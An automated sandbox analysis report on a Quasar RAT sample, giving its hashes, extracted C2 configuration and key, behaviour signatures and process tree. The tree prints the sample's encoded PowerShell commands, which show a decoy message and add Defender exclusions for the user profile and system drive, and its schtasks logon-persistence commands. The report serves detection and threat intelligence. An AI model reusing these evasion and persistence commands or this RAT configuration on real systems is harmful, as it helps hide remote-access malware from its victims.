Analysis

  • max time kernel
    137s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 14:25

General

  • Target

    58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe

  • Size

    354KB

  • MD5

    8b54bcaf180119658155a1ba2909f082

  • SHA1

    7813044ffe233a79eb5937e6affcfbc365427fc1

  • SHA256

    58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5

  • SHA512

    fb9f1fe603c69a27c1fbf40067be9ef3273a791a40e8f262d98e2c16dcd1c6ecc36f359f1a8119532a078e0ba8f4065dc2ef44a1282d9b2f41578551ab8f6fd8

  • SSDEEP

    6144:XbRHhzisehcChBB6aQaAIybtbJpHgxwkeDBWeSXpU+PtL11J//LbwDJQHgYCBfuB:Xb/Shzn4tbPAGkeLatL11J//LUDaAY2C

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Office04

C2

192.168.0.125:4782

AeroNaut-25032.portmap.io:25032

Mutex

QSR_MUTEX_e22Aj87Wn2XuKgDxxw

Attributes
  • encryption_key

    s8zrhKuw28Jjzjqpd6lo

  • install_name

    Java.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    JavaStartup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe
    "C:\Users\Admin\AppData\Local\Temp\58dc62330246d51406746ba6eb9938293cfdddf356e538307f86487da238f4f5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAegBqACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAZAB0ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAUwBvAHIAcgB5ACAAdABoAGUAIABmAGkAbABlACAAaQBzACAAdQBuAGQAZQByACAAbQBhAG4AYQBnAGUAbQBlAG4AdAAuACAAVABoAGUAIABmAGkAbABlACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBsAGUAYQBzAGUAZAAgAG4AZQB4AHQAIAB5AGUAYQByACEAIABmAG8AcgAgAG0AbwByAGUAIABmAGkAbABlAHMAIAAsACAAcABsAGUAYQBzAGUAIABjAGgAZQBjAGsAIABtAHkAIABkAGkAcwBjAG8AcgBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHQAbABmACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4024
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZgBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAaQBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHUAaQB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAeABrACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2408
    • C:\Users\Admin\AppData\Local\Temp\Client-built.exe
      "C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2116
      • C:\Windows\SysWOW64\schtasks.exe
        "schtasks" /create /tn "JavaStartup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Client-built.exe" /rl HIGHEST /f
        3⤵
        • Creates scheduled task(s)
        PID:4308
      • C:\Program Files (x86)\SubDir\Java.exe
        "C:\Program Files (x86)\SubDir\Java.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4056
        • C:\Windows\SysWOW64\schtasks.exe
          "schtasks" /create /tn "JavaStartup" /sc ONLOGON /tr "C:\Program Files (x86)\SubDir\Java.exe" /rl HIGHEST /f
          4⤵
          • Creates scheduled task(s)
          PID:2984

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Program Files (x86)\SubDir\Java.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Program Files (x86)\SubDir\Java.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4cc9e7069534f7bcbb90ad7cac69ed78

    SHA1

    a3522b9edd4a7d28ad0ac0e1b659a82b6dc10892

    SHA256

    4814be12fd2320cd9249d3b2611ea1421cb88823097fcbf0ca697e6e9ac93c9c

    SHA512

    e408e0abb3b7166578c075d10f1378d6a6b39dc386361a4df23abc026e9a634bfb16c01daf9b8fcbe8555e335d93c8c9d8442a11c187df616f2d6cdd3ab53653

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    ba4f16a3fe5704136d34f3c9fa04d896

    SHA1

    5d2d6a763b61c5338583194d869171a7af14bafc

    SHA256

    7f684196a3f6e786bed918870e0c3c84575991224b138b93a327de9ed249a03c

    SHA512

    eccf2335489ea553201eec9c74149fba004adf1e450912a5e73a75bd713d8fb9b3bde2f84a15d0b2e296cfb2feacc10bb3e9c37d3b87bf95c5371aff29ddb0d0

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • C:\Users\Admin\AppData\Local\Temp\Client-built.exe

    Filesize

    348KB

    MD5

    c1c21a2fdc2f99f98c91ce2d1219cd96

    SHA1

    5bdd5bf45b0e809d4fa4e2c99ddb5c175adb0ce8

    SHA256

    0b443bb044df9d13646f3a96d07270f1ad791e94e30c94f341e5dcdc2fb853b2

    SHA512

    3b8299f2447ee1586133032157a2424b408352d5a38b36f727b706e97ea5bbbab9e60bed84b93a37459ad9e0b2edd5440c607c7f4cff4090b4a05afbe2bf77bf

  • memory/2116-148-0x00000000058F0000-0x0000000005902000-memory.dmp

    Filesize

    72KB

  • memory/2116-152-0x00000000064D0000-0x000000000650C000-memory.dmp

    Filesize

    240KB

  • memory/2116-147-0x00000000009B0000-0x0000000000A0E000-memory.dmp

    Filesize

    376KB

  • memory/2408-157-0x0000000007B90000-0x0000000007B9A000-memory.dmp

    Filesize

    40KB

  • memory/2408-151-0x0000000006DE0000-0x0000000006DFE000-memory.dmp

    Filesize

    120KB

  • memory/2408-161-0x0000000007DA0000-0x0000000007DA8000-memory.dmp

    Filesize

    32KB

  • memory/2408-160-0x0000000007E50000-0x0000000007E6A000-memory.dmp

    Filesize

    104KB

  • memory/2408-159-0x0000000007D60000-0x0000000007D6E000-memory.dmp

    Filesize

    56KB

  • memory/2408-149-0x0000000006E00000-0x0000000006E32000-memory.dmp

    Filesize

    200KB

  • memory/2408-150-0x0000000070200000-0x000000007024C000-memory.dmp

    Filesize

    304KB

  • memory/2408-158-0x0000000007DB0000-0x0000000007E46000-memory.dmp

    Filesize

    600KB

  • memory/4024-141-0x00000000080C0000-0x0000000008664000-memory.dmp

    Filesize

    5.6MB

  • memory/4024-142-0x0000000007030000-0x00000000070C2000-memory.dmp

    Filesize

    584KB

  • memory/4024-136-0x0000000005790000-0x00000000057F6000-memory.dmp

    Filesize

    408KB

  • memory/4024-135-0x0000000004F90000-0x0000000004FB2000-memory.dmp

    Filesize

    136KB

  • memory/4024-139-0x0000000007490000-0x0000000007B0A000-memory.dmp

    Filesize

    6.5MB

  • memory/4024-140-0x0000000006320000-0x000000000633A000-memory.dmp

    Filesize

    104KB

  • memory/4024-133-0x0000000002830000-0x0000000002866000-memory.dmp

    Filesize

    216KB

  • memory/4024-137-0x0000000005800000-0x0000000005866000-memory.dmp

    Filesize

    408KB

  • memory/4024-138-0x0000000005E30000-0x0000000005E4E000-memory.dmp

    Filesize

    120KB

  • memory/4024-134-0x00000000050B0000-0x00000000056D8000-memory.dmp

    Filesize

    6.2MB

  • memory/4056-165-0x0000000006920000-0x000000000692A000-memory.dmp

    Filesize

    40KB